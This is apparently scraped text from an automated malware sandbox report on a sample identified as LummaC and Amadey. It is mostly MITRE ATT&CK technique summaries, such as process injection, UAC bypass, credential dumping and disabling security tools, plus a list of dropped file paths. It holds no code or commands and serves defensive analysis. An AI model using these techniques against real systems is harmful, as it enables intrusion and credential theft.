Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FT773VWATWFL9SRK5RTU4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fontcreator[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe

C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe

C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre